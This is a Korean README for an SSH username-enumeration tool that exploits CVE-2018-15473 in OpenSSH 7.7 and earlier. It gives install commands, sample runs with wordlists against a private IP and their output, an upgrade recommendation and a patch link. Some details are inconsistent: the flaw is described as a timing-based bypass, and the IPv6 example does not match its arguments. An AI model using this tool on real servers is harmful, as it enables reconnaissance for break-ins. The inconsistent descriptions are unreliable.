
CVE-2018-15473을 악용하는 SSH 사용자명 열거 도구로, 타이밍 기반 인증 우회를 통해 OpenSSH 서버에서 유효한 사용자를 식별합니다.
OpenSSH 서버는 요청이 포함된 패킷을 완전히 파싱하기 전에 유효하지 않은 사용자의 인증 처리를 지연시키지 않습니다. 이 취약점은 auth2-gss.c, auth2-hostbased.c, auth2-pubkey.c와 관련됩니다.
이 취약점은 유효한 사용자 이름 목록을 생성하는 데 사용할 수 없지만, 여전히 사용자 이름을 열거하고 추측하는 데 사용할 수 있습니다.
OpenSSH <= 7.7
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27
배포판에 해당하는 openssl-dev 패키지를 설치해야 할 수도 있습니다.
# 참고: Kali에서 설치하는 경우 pip 설치는 건너뛰고 아래 1,2,3단계만 수행하면 됩니다. paramiko가 이미 존재하기 때문입니다.
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt
# 또는 다음 명령어로 설치
pipenv install -r requirements.txt # 마음에 든다면
chmod u+x ssh-username-enum.py
예제 1: 단일 사용자 열거
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
예제 2: 10개 스레드로 다중 사용자 열거 (기본 스레드 4)
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
등등
예제 3: IPv6 주소 및 SSH 포트 지정
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
등등
사용자는 영향을 받지 않는 버전으로 업그레이드하는 것이 좋습니다. OpenBSD 프로젝트는 다음 링크에서 소스 코드 수정 사항을 발표했습니다: https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/